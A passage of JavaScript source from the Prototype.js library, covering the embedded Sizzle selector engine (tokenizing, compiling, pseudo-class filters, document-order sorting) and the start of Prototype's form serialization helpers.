rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );

/* Contains
---------------------------------------------------------------------- */
hasCompare = rnative.test( docElem.compareDocumentPosition );

contains = hasCompare || rnative.test( docElem.contains ) ?
function( a, b ) {
var adown = a.nodeType === 9 ? a.documentElement : a,
bup = b && b.parentNode;
return a === bup || !!( bup && bup.nodeType === 1 && (
adown.contains ?
adown.contains( bup ) :
a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
));
} :
function( a, b ) {
if ( b ) {
while ( (b = b.parentNode) ) {
if ( b === a ) {
return true;
}
}
}
return false;
};

/* Sorting
---------------------------------------------------------------------- */

sortOrder = hasCompare ?
function( a, b ) {

if ( a === b ) {
hasDuplicate = true;
return 0;
}

var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
if ( compare ) {
return compare;
}

compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
a.compareDocumentPosition( b ) :

1;

if ( compare & 1 ||
(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {

if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
return -1;
}
if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
return 1;
}

return sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;
}

return compare & 4 ? -1 : 1;
} :
function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
return 0;
}

var cur,
i = 0,
aup = a.parentNode,
bup = b.parentNode,
ap = [ a ],
bp = [ b ];

if ( !aup || !bup ) {
return a === doc ? -1 :
b === doc ? 1 :
aup ? -1 :
bup ? 1 :
sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;

} else if ( aup === bup ) {
return siblingCheck( a, b );
}

cur = a;
while ( (cur = cur.parentNode) ) {
ap.unshift( cur );
}
cur = b;
while ( (cur = cur.parentNode) ) {
bp.unshift( cur );
}

while ( ap[i] === bp[i] ) {
i++;
}

return i ?
siblingCheck( ap[i], bp[i] ) :

ap[i] === preferredDoc ? -1 :
bp[i] === preferredDoc ? 1 :
0;
};

return doc;
};

Sizzle.matches = function( expr, elements ) {
return Sizzle( expr, null, null, elements );
};

Sizzle.matchesSelector = function( elem, expr ) {
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}

expr = expr.replace( rattributeQuotes, "='$1']" );

if ( support.matchesSelector && documentIsHTML &&
( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {

try {
var ret = matches.call( elem, expr );

if ( ret || support.disconnectedMatch ||
elem.document && elem.document.nodeType !== 11 ) {
return ret;
}
} catch(e) {}
}

return Sizzle( expr, document, null, [elem] ).length > 0;
};

Sizzle.contains = function( context, elem ) {
if ( ( context.ownerDocument || context ) !== document ) {
setDocument( context );
}
return contains( context, elem );
};

Sizzle.attr = function( elem, name ) {
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}

var fn = Expr.attrHandle[ name.toLowerCase() ],
val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
fn( elem, name, !documentIsHTML ) :
undefined;

return val !== undefined ?
val :
support.attributes || !documentIsHTML ?
elem.getAttribute( name ) :
(val = elem.getAttributeNode(name)) && val.specified ?
val.value :
null;
};

Sizzle.error = function( msg ) {
throw new Error( "Syntax error, unrecognized expression: " + msg );
};

/**
* Document sorting and removing duplicates
* @param {ArrayLike} results
*/
Sizzle.uniqueSort = function( results ) {
var elem,
duplicates = [],
j = 0,
i = 0;

hasDuplicate = !support.detectDuplicates;
sortInput = !support.sortStable && results.slice( 0 );
results.sort( sortOrder );

if ( hasDuplicate ) {
while ( (elem = results[i++]) ) {
if ( elem === results[ i ] ) {
j = duplicates.push( i );
}
}
while ( j-- ) {
results.splice( duplicates[ j ], 1 );
}
}

sortInput = null;

return results;
};

/**
* Utility function for retrieving the text value of an array of DOM nodes
* @param {Array|Element} elem
*/
getText = Sizzle.getText = function( elem ) {
var node,
ret = "",
i = 0,
nodeType = elem.nodeType;

if ( !nodeType ) {
while ( (node = elem[i++]) ) {
ret += getText( node );
}
} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
if ( typeof elem.textContent === "string" ) {
return elem.textContent;
} else {
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
ret += getText( elem );
}
}
} else if ( nodeType === 3 || nodeType === 4 ) {
return elem.nodeValue;
}

return ret;
};

Expr = Sizzle.selectors = {

cacheLength: 50,

createPseudo: markFunction,

match: matchExpr,

attrHandle: {},

find: {},

relative: {
">": { dir: "parentNode", first: true },
" ": { dir: "parentNode" },
"+": { dir: "previousSibling", first: true },
"~": { dir: "previousSibling" }
},

preFilter: {
"ATTR": function( match ) {
match[1] = match[1].replace( runescape, funescape );

match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape );

if ( match[2] === "~=" ) {
match[3] = " " + match[3] + " ";
}

return match.slice( 0, 4 );
},

"CHILD": function( match ) {
/* matches from matchExpr["CHILD"]
1 type (only|nth|...)
2 what (child|of-type)
3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
4 xn-component of xn+y argument ([+-]?\d*n|)
5 sign of xn-component
6 x of xn-component
7 sign of y-component
8 y of y-component
*/
match[1] = match[1].toLowerCase();

if ( match[1].slice( 0, 3 ) === "nth" ) {
if ( !match[3] ) {
Sizzle.error( match[0] );
}

match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );

} else if ( match[3] ) {
Sizzle.error( match[0] );
}

return match;
},

"PSEUDO": function( match ) {
var excess,
unquoted = !match[5] && match[2];

if ( matchExpr["CHILD"].test( match[0] ) ) {
return null;
}

if ( match[3] && match[4] !== undefined ) {
match[2] = match[4];

} else if ( unquoted && rpseudo.test( unquoted ) &&
(excess = tokenize( unquoted, true )) &&
(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {

match[0] = match[0].slice( 0, excess );
match[2] = unquoted.slice( 0, excess );
}

return match.slice( 0, 3 );
}
},

filter: {

"TAG": function( nodeNameSelector ) {
var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
return nodeNameSelector === "*" ?
function() { return true; } :
function( elem ) {
return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
};
},

"CLASS": function( className ) {
var pattern = classCache[ className + " " ];

return pattern ||
(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
classCache( className, function( elem ) {
return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute("class") || "" );
});
},

"ATTR": function( name, operator, check ) {
return function( elem ) {
var result = Sizzle.attr( elem, name );

if ( result == null ) {
return operator === "!=";
}
if ( !operator ) {
return true;
}

result += "";

return operator === "=" ? result === check :
operator === "!=" ? result !== check :
operator === "^=" ? check && result.indexOf( check ) === 0 :
operator === "*=" ? check && result.indexOf( check ) > -1 :
operator === "$=" ? check && result.slice( -check.length ) === check :
operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
false;
};
},

"CHILD": function( type, what, argument, first, last ) {
var simple = type.slice( 0, 3 ) !== "nth",
forward = type.slice( -4 ) !== "last",
ofType = what === "of-type";

return first === 1 && last === 0 ?

function( elem ) {
return !!elem.parentNode;
} :

function( elem, context, xml ) {
var cache, outerCache, node, diff, nodeIndex, start,
dir = simple !== forward ? "nextSibling" : "previousSibling",
parent = elem.parentNode,
name = ofType && elem.nodeName.toLowerCase(),
useCache = !xml && !ofType;

if ( parent ) {

if ( simple ) {
while ( dir ) {
node = elem;
while ( (node = node[ dir ]) ) {
if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
return false;
}
}
start = dir = type === "only" && !start && "nextSibling";
}
return true;
}

start = [ forward ? parent.firstChild : parent.lastChild ];

if ( forward && useCache ) {
outerCache = parent[ expando ] || (parent[ expando ] = {});
cache = outerCache[ type ] || [];
nodeIndex = cache[0] === dirruns && cache[1];
diff = cache[0] === dirruns && cache[2];
node = nodeIndex && parent.childNodes[ nodeIndex ];

while ( (node = ++nodeIndex && node && node[ dir ] ||

(diff = nodeIndex = 0) || start.pop()) ) {

if ( node.nodeType === 1 && ++diff && node === elem ) {
outerCache[ type ] = [ dirruns, nodeIndex, diff ];
break;
}
}

} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
diff = cache[1];

} else {
while ( (node = ++nodeIndex && node && node[ dir ] ||
(diff = nodeIndex = 0) || start.pop()) ) {

if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
if ( useCache ) {
(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
}

if ( node === elem ) {
break;
}
}
}
}

diff -= last;
return diff === first || ( diff % first === 0 && diff / first >= 0 );
}
};
},

"PSEUDO": function( pseudo, argument ) {
var args,
fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
Sizzle.error( "unsupported pseudo: " + pseudo );

if ( fn[ expando ] ) {
return fn( argument );
}

if ( fn.length > 1 ) {
args = [ pseudo, pseudo, "", argument ];
return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
markFunction(function( seed, matches ) {
var idx,
matched = fn( seed, argument ),
i = matched.length;
while ( i-- ) {
idx = indexOf.call( seed, matched[i] );
seed[ idx ] = !( matches[ idx ] = matched[i] );
}
}) :
function( elem ) {
return fn( elem, 0, args );
};
}

return fn;
}
},

pseudos: {
"not": markFunction(function( selector ) {
var input = [],
results = [],
matcher = compile( selector.replace( rtrim, "$1" ) );

return matcher[ expando ] ?
markFunction(function( seed, matches, context, xml ) {
var elem,
unmatched = matcher( seed, null, xml, [] ),
i = seed.length;

while ( i-- ) {
if ( (elem = unmatched[i]) ) {
seed[i] = !(matches[i] = elem);
}
}
}) :
function( elem, context, xml ) {
input[0] = elem;
matcher( input, null, xml, results );
return !results.pop();
};
}),

"has": markFunction(function( selector ) {
return function( elem ) {
return Sizzle( selector, elem ).length > 0;
};
}),

"contains": markFunction(function( text ) {
return function( elem ) {
return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
};
}),

"lang": markFunction( function( lang ) {
if ( !ridentifier.test(lang || "") ) {
Sizzle.error( "unsupported lang: " + lang );
}
lang = lang.replace( runescape, funescape ).toLowerCase();
return function( elem ) {
var elemLang;
do {
if ( (elemLang = documentIsHTML ?
elem.lang :
elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {

elemLang = elemLang.toLowerCase();
return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
}
} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
return false;
};
}),

"target": function( elem ) {
var hash = window.location && window.location.hash;
return hash && hash.slice( 1 ) === elem.id;
},

"root": function( elem ) {
return elem === docElem;
},

"focus": function( elem ) {
return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
},

"enabled": function( elem ) {
return elem.disabled === false;
},

"disabled": function( elem ) {
return elem.disabled === true;
},

"checked": function( elem ) {
var nodeName = elem.nodeName.toLowerCase();
return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
},

"selected": function( elem ) {
if ( elem.parentNode ) {
elem.parentNode.selectedIndex;
}

return elem.selected === true;
},

"empty": function( elem ) {
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
if ( elem.nodeType < 6 ) {
return false;
}
}
return true;
},

"parent": function( elem ) {
return !Expr.pseudos["empty"]( elem );
},

"header": function( elem ) {
return rheader.test( elem.nodeName );
},

"input": function( elem ) {
return rinputs.test( elem.nodeName );
},

"button": function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === "button" || name === "button";
},

"text": function( elem ) {
var attr;
return elem.nodeName.toLowerCase() === "input" &&
elem.type === "text" &&

( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
},

"first": createPositionalPseudo(function() {
return [ 0 ];
}),

"last": createPositionalPseudo(function( matchIndexes, length ) {
return [ length - 1 ];
}),

"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
return [ argument < 0 ? argument + length : argument ];
}),

"even": createPositionalPseudo(function( matchIndexes, length ) {
var i = 0;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),

"odd": createPositionalPseudo(function( matchIndexes, length ) {
var i = 1;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),

"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; --i >= 0; ) {
matchIndexes.push( i );
}
return matchIndexes;
}),

"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; ++i < length; ) {
matchIndexes.push( i );
}
return matchIndexes;
})
}
};

Expr.pseudos["nth"] = Expr.pseudos["eq"];

for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
Expr.pseudos[ i ] = createInputPseudo( i );
}
for ( i in { submit: true, reset: true } ) {
Expr.pseudos[ i ] = createButtonPseudo( i );
}

function setFilters() {}
setFilters.prototype = Expr.filters = Expr.pseudos;
Expr.setFilters = new setFilters();

function tokenize( selector, parseOnly ) {
var matched, match, tokens, type,
soFar, groups, preFilters,
cached = tokenCache[ selector + " " ];

if ( cached ) {
return parseOnly ? 0 : cached.slice( 0 );
}

soFar = selector;
groups = [];
preFilters = Expr.preFilter;

while ( soFar ) {

if ( !matched || (match = rcomma.exec( soFar )) ) {
if ( match ) {
soFar = soFar.slice( match[0].length ) || soFar;
}
groups.push( (tokens = []) );
}

matched = false;

if ( (match = rcombinators.exec( soFar )) ) {
matched = match.shift();
tokens.push({
value: matched,
type: match[0].replace( rtrim, " " )
});
soFar = soFar.slice( matched.length );
}

for ( type in Expr.filter ) {
if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
(match = preFilters[ type ]( match ))) ) {
matched = match.shift();
tokens.push({
value: matched,
type: type,
matches: match
});
soFar = soFar.slice( matched.length );
}
}

if ( !matched ) {
break;
}
}

return parseOnly ?
soFar.length :
soFar ?
Sizzle.error( selector ) :
tokenCache( selector, groups ).slice( 0 );
}

function toSelector( tokens ) {
var i = 0,
len = tokens.length,
selector = "";
for ( ; i < len; i++ ) {
selector += tokens[i].value;
}
return selector;
}

function addCombinator( matcher, combinator, base ) {
var dir = combinator.dir,
checkNonElements = base && dir === "parentNode",
doneName = done++;

return combinator.first ?
function( elem, context, xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
return matcher( elem, context, xml );
}
}
} :

function( elem, context, xml ) {
var oldCache, outerCache,
newCache = [ dirruns, doneName ];

if ( xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
if ( matcher( elem, context, xml ) ) {
return true;
}
}
}
} else {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
outerCache = elem[ expando ] || (elem[ expando ] = {});
if ( (oldCache = outerCache[ dir ]) &&
oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {

return (newCache[ 2 ] = oldCache[ 2 ]);
} else {
outerCache[ dir ] = newCache;

if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
return true;
}
}
}
}
}
};
}

function elementMatcher( matchers ) {
return matchers.length > 1 ?
function( elem, context, xml ) {
var i = matchers.length;
while ( i-- ) {
if ( !matchers[i]( elem, context, xml ) ) {
return false;
}
}
return true;
} :
matchers[0];
}

function multipleContexts( selector, contexts, results ) {
var i = 0,
len = contexts.length;
for ( ; i < len; i++ ) {
Sizzle( selector, contexts[i], results );
}
return results;
}

function condense( unmatched, map, filter, context, xml ) {
var elem,
newUnmatched = [],
i = 0,
len = unmatched.length,
mapped = map != null;

for ( ; i < len; i++ ) {
if ( (elem = unmatched[i]) ) {
if ( !filter || filter( elem, context, xml ) ) {
newUnmatched.push( elem );
if ( mapped ) {
map.push( i );
}
}
}
}

return newUnmatched;
}

function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
if ( postFilter && !postFilter[ expando ] ) {
postFilter = setMatcher( postFilter );
}
if ( postFinder && !postFinder[ expando ] ) {
postFinder = setMatcher( postFinder, postSelector );
}
return markFunction(function( seed, results, context, xml ) {
var temp, i, elem,
preMap = [],
postMap = [],
preexisting = results.length,

elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),

matcherIn = preFilter && ( seed || !selector ) ?
condense( elems, preMap, preFilter, context, xml ) :
elems,

matcherOut = matcher ?
postFinder || ( seed ? preFilter : preexisting || postFilter ) ?

[] :

results :
matcherIn;

if ( matcher ) {
matcher( matcherIn, matcherOut, context, xml );
}

if ( postFilter ) {
temp = condense( matcherOut, postMap );
postFilter( temp, [], context, xml );

i = temp.length;
while ( i-- ) {
if ( (elem = temp[i]) ) {
matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
}
}
}

if ( seed ) {
if ( postFinder || preFilter ) {
if ( postFinder ) {
temp = [];
i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) ) {
temp.push( (matcherIn[i] = elem) );
}
}
postFinder( null, (matcherOut = []), temp, xml );
}

i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) &&
(temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {

seed[temp] = !(results[temp] = elem);
}
}
}

} else {
matcherOut = condense(
matcherOut === results ?
matcherOut.splice( preexisting, matcherOut.length ) :
matcherOut
);
if ( postFinder ) {
postFinder( null, results, matcherOut, xml );
} else {
push.apply( results, matcherOut );
}
}
});
}

function matcherFromTokens( tokens ) {
var checkContext, matcher, j,
len = tokens.length,
leadingRelative = Expr.relative[ tokens[0].type ],
implicitRelative = leadingRelative || Expr.relative[" "],
i = leadingRelative ? 1 : 0,

matchContext = addCombinator( function( elem ) {
return elem === checkContext;
}, implicitRelative, true ),
matchAnyContext = addCombinator( function( elem ) {
return indexOf.call( checkContext, elem ) > -1;
}, implicitRelative, true ),
matchers = [ function( elem, context, xml ) {
return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
(checkContext = context).nodeType ?
matchContext( elem, context, xml ) :
matchAnyContext( elem, context, xml ) );
} ];

for ( ; i < len; i++ ) {
if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
} else {
matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );

if ( matcher[ expando ] ) {
j = ++i;
for ( ; j < len; j++ ) {
if ( Expr.relative[ tokens[j].type ] ) {
break;
}
}
return setMatcher(
i > 1 && elementMatcher( matchers ),
i > 1 && toSelector(
tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
).replace( rtrim, "$1" ),
matcher,
i < j && matcherFromTokens( tokens.slice( i, j ) ),
j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
j < len && toSelector( tokens )
);
}
matchers.push( matcher );
}
}

return elementMatcher( matchers );
}

function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
var bySet = setMatchers.length > 0,
byElement = elementMatchers.length > 0,
superMatcher = function( seed, context, xml, results, outermost ) {
var elem, j, matcher,
matchedCount = 0,
i = "0",
unmatched = seed && [],
setMatched = [],
contextBackup = outermostContext,
elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
len = elems.length;

if ( outermost ) {
outermostContext = context !== document && context;
}

for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
if ( byElement && elem ) {
j = 0;
while ( (matcher = elementMatchers[j++]) ) {
if ( matcher( elem, context, xml ) ) {
results.push( elem );
break;
}
}
if ( outermost ) {
dirruns = dirrunsUnique;
}
}

if ( bySet ) {
if ( (elem = !matcher && elem) ) {
matchedCount--;
}

if ( seed ) {
unmatched.push( elem );
}
}
}

matchedCount += i;
if ( bySet && i !== matchedCount ) {
j = 0;
while ( (matcher = setMatchers[j++]) ) {
matcher( unmatched, setMatched, context, xml );
}

if ( seed ) {
if ( matchedCount > 0 ) {
while ( i-- ) {
if ( !(unmatched[i] || setMatched[i]) ) {
setMatched[i] = pop.call( results );
}
}
}

setMatched = condense( setMatched );
}

push.apply( results, setMatched );

if ( outermost && !seed && setMatched.length > 0 &&
( matchedCount + setMatchers.length ) > 1 ) {

Sizzle.uniqueSort( results );
}
}

if ( outermost ) {
dirruns = dirrunsUnique;
outermostContext = contextBackup;
}

return unmatched;
};

return bySet ?
markFunction( superMatcher ) :
superMatcher;
}

compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
var i,
setMatchers = [],
elementMatchers = [],
cached = compilerCache[ selector + " " ];

if ( !cached ) {
if ( !match ) {
match = tokenize( selector );
}
i = match.length;
while ( i-- ) {
cached = matcherFromTokens( match[i] );
if ( cached[ expando ] ) {
setMatchers.push( cached );
} else {
elementMatchers.push( cached );
}
}

cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );

cached.selector = selector;
}
return cached;
};

/**
* A low-level selection function that works with Sizzle's compiled
*  selector functions
* @param {String|Function} selector A selector or a pre-compiled
*  selector function built with Sizzle.compile
* @param {Element} context
* @param {Array} [results]
* @param {Array} [seed] A set of elements to match against
*/
select = Sizzle.select = function( selector, context, results, seed ) {
var i, tokens, token, type, find,
compiled = typeof selector === "function" && selector,
match = !seed && tokenize( (selector = compiled.selector || selector) );

results = results || [];

if ( match.length === 1 ) {

tokens = match[0] = match[0].slice( 0 );
if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
support.getById && context.nodeType === 9 && documentIsHTML &&
Expr.relative[ tokens[1].type ] ) {

context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
if ( !context ) {
return results;

} else if ( compiled ) {
context = context.parentNode;
}

selector = selector.slice( tokens.shift().value.length );
}

i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
while ( i-- ) {
token = tokens[i];

if ( Expr.relative[ (type = token.type) ] ) {
break;
}
if ( (find = Expr.find[ type ]) ) {
if ( (seed = find(
token.matches[0].replace( runescape, funescape ),
rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
)) ) {

tokens.splice( i, 1 );
selector = seed.length && toSelector( tokens );
if ( !selector ) {
push.apply( results, seed );
return results;
}

break;
}
}
}
}

( compiled || compile( selector, match ) )(
seed,
context,
!documentIsHTML,
results,
rsibling.test( selector ) && testContext( context.parentNode ) || context
);
return results;
};


support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;

support.detectDuplicates = !!hasDuplicate;

setDocument();

support.sortDetached = assert(function( div1 ) {
return div1.compareDocumentPosition( document.createElement("div") ) & 1;
});

if ( !assert(function( div ) {
div.innerHTML = "<a href='#'></a>";
return div.firstChild.getAttribute("href") === "#" ;
}) ) {
addHandle( "type|href|height|width", function( elem, name, isXML ) {
if ( !isXML ) {
return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
}
});
}

if ( !support.attributes || !assert(function( div ) {
div.innerHTML = "<input/>";
div.firstChild.setAttribute( "value", "" );
return div.firstChild.getAttribute( "value" ) === "";
}) ) {
addHandle( "value", function( elem, name, isXML ) {
if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
return elem.defaultValue;
}
});
}

if ( !assert(function( div ) {
return div.getAttribute("disabled") == null;
}) ) {
addHandle( booleans, function( elem, name, isXML ) {
var val;
if ( !isXML ) {
return elem[ name ] === true ? name.toLowerCase() :
(val = elem.getAttributeNode( name )) && val.specified ?
val.value :
null;
}
});
}

if ( typeof define === "function" && define.amd ) {
define(function() { return Sizzle; });
} else if ( typeof module !== "undefined" && module.exports ) {
module.exports = Sizzle;
} else {
window.Sizzle = Sizzle;
}

})( window );

;(function() {
if (typeof Sizzle !== 'undefined') {
return;
}

if (typeof define !== 'undefined' && define.amd) {
window.Sizzle = Prototype._actual_sizzle;
window.define = Prototype._original_define;
delete Prototype._actual_sizzle;
delete Prototype._original_define;
} else if (typeof module !== 'undefined' && module.exports) {
window.Sizzle = module.exports;
module.exports = {};
}
})();

;(function(engine) {
var extendElements = Prototype.Selector.extendElements;

function select(selector, scope) {
return extendElements(engine(selector, scope || document));
}

function match(element, selector) {
return engine.matches(selector, [element]).length == 1;
}

Prototype.Selector.engine = engine;
Prototype.Selector.select = select;
Prototype.Selector.match = match;
})(Sizzle);

window.Sizzle = Prototype._original_property;
delete Prototype._original_property;

var Form = {
reset: function(form) {
form = $(form);
form.reset();
return form;
},

serializeElements: function(elements, options) {
if (typeof options != 'object') options = { hash: !!options };
else if (Object.isUndefined(options.hash)) options.hash = true;
var key, value, submitted = false, submit = options.submit, accumulator, initial;

if (options.hash) {
initial = {};
accumulator = function(result, key, value) {
if (key in result) {
if (!Object.isArray(result[key])) result[key] = [result[key]];
result[key] = result[key].concat(value);
} else result[key] = value;
return result;
};
} else {
initial = '';
accumulator = function(result, key, values) {
if (!Object.isArray(values)) {values = [values];}
if (!values.length) {return result;}
var encodedKey = encodeURIComponent(key).gsub(/%20/, '+');
return result + (result ? "&" : "") + values.map(function (value) {
value = value.gsub(/(\r)?\n/, '\r\n');
value = encodeURIComponent(value);
value = value.gsub(/%20/, '+');
return encodedKey + "=" + value;
}).join("&");
};
}

return elements.inject(initial, function(result, element) {
if (!element.disabled && element.name) {
key = element.name; value = $(element).getValue();
if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
submit !== false && (!submit || key == submit) && (submitted = true)))) {
result = accumulator(result, key, value);
}
}
return result;
});
}
};

Form.Methods = {
serialize: function(form, options) {
return Form.serializeElements(Form.getElements(form), options);
},


getElements: function(form) {
var elements = $(form).getElementsByTagName('*');
var element, results = [], serializers = Form.Element.Serializers;

for (var i = 0; element = elements[i]; i++) {
if (serializers[element.tagName.toLowerCase()])
results.push(Element.extend(element));
}
return results;
},

getInputs: function(form, typeName, name) {
form = $(form);
var inputs = form.getElementsByTagName('input');

if (!typeName && !name) return $A(inputs).map(Element.extend);

for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
var input = inputs[i];
if ((typeName && input.type != typeName) || (name && input.name != name))
continue;
matchingInputs.push(Element.extend(input));
}

return matchingInputs;
},

disable: function(form) {
form = $(form);
Form.getElements(form).invoke('disable');
return form;
},

enable: function(form) {
form = $(form);
Form.getElements(form).invoke('enable');
return form;
},

findFirstElement: function(form) {
var elements = $(form).getElements().findAll(function(element) {
return 'hidden' != element.type && !element.disabled;
});
var firstByIndex = elements.findAll(function(element) {
return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
}).sortBy(function(element) { return element.tabIndex }).first();

return firstByIndex ? firstByIndex : elements.find(function(element) {
return /^(?:input|select|textarea)$/i.test(element.tagName);
});
},

focusFirstElement: function(form) {
form = $(form);
var element = form.findFirstElement();
if (element) element.activate();
return form;
},

request: function(form, options) {
form = $(form), options = Object.clone(options || { });

var params = options.parameters, action = form.readAttribute('action') || '';
if (action.blank()) action = window.location.href;
options.parameters = form.serialize(true);

if (params) {
if (Object.isString(params)) params = params.toQueryParams();
Object.extend(options.parameters, params);
}

if (form.hasAttribute('method') && !options.method)
options.method = form.method;

return new Ajax.Request(action, options);
}
};

/*--------------------------------------------------------------------------*/


Form.Element = {
focus: function(element) {
$(element).focus();
return element;
},

select: function(element) {
$(element).select();
return element;
}
};

Form.Element.Methods = {

serialize: function(element) {
element = $(element);
if (!element.disabled && element.name) {
var value = element.getValue();
if (value != undefined) {
var pair = { };
pair[element.name] = value;
return Object.toQueryString(pair);
}
}
return '';
},

getValue: function(element) {
element = $(element);
var method = element.tagName.toLowerCase();
return Form.Element.Serializers[method](element);
},

setValue: function(element, value) {
element = $(element);
var method = element.tagName.toLowerCase();
Form.Element.Serializers[method](element, value);
return element;
},

clear: function(element) {
$(element).value = '';
return element;
},

present: function(element) {
return $(element).value != '';
},

activate: function(element) {
element = $(element);
try {
element.focus();
if (element.select && (element.tagName.toLowerCase() != 'input' ||
!(/^(?:button|reset|submit)$/i.test(element.type))))
element.select();
} catch (e) { }
return element;
},

disable: function(element) {
element = $(element);
element.disabled = true;
return element;
},

enable: function(element) {
element = $(element);
element.disabled = false;
return element;
}
};

/*--------------------------------------------------------------------------*/

var Field = Form.Element;

var $F = Form.Element.Methods.getValue;

/*--------------------------------------------------------------------------*/

Form.Element.Serializers = (function() {
function input(element, value) {
switch (element.type.toLowerCase()) {
case 'checkbox':
case 'radio':
return inputSelector(element, value);
default:
return valueSelector(element, value);
}
}

function inputSelector(element, value) {
if (Object.isUndefined(value))
return element.checked ? element.value : null;
else element.checked = !!value;
}

function valueSelector(element, value) {
if (Object.isUndefined(value)) return element.value;
else element.value = value;
}

function select(element, value) {
if (Object.isUndefined(value))
return (element.type === 'select-one' ? selectOne : selectMany)(element);

var opt, currentValue, single = !Object.isArray(value);
for (var i = 0, length = element.length; i < length; i++) {
opt = element.options[i];
currentValue = this.optionValue(opt);
if (single) {
if (currentValue == value) {
opt.selected = true;
return;
}
}
else opt.selected = value.include(currentValue);
}
}

function selectOne(element) {
var index = element.selectedIndex;
return index >= 0 ? optionValue(element.options[index]) : null;
}

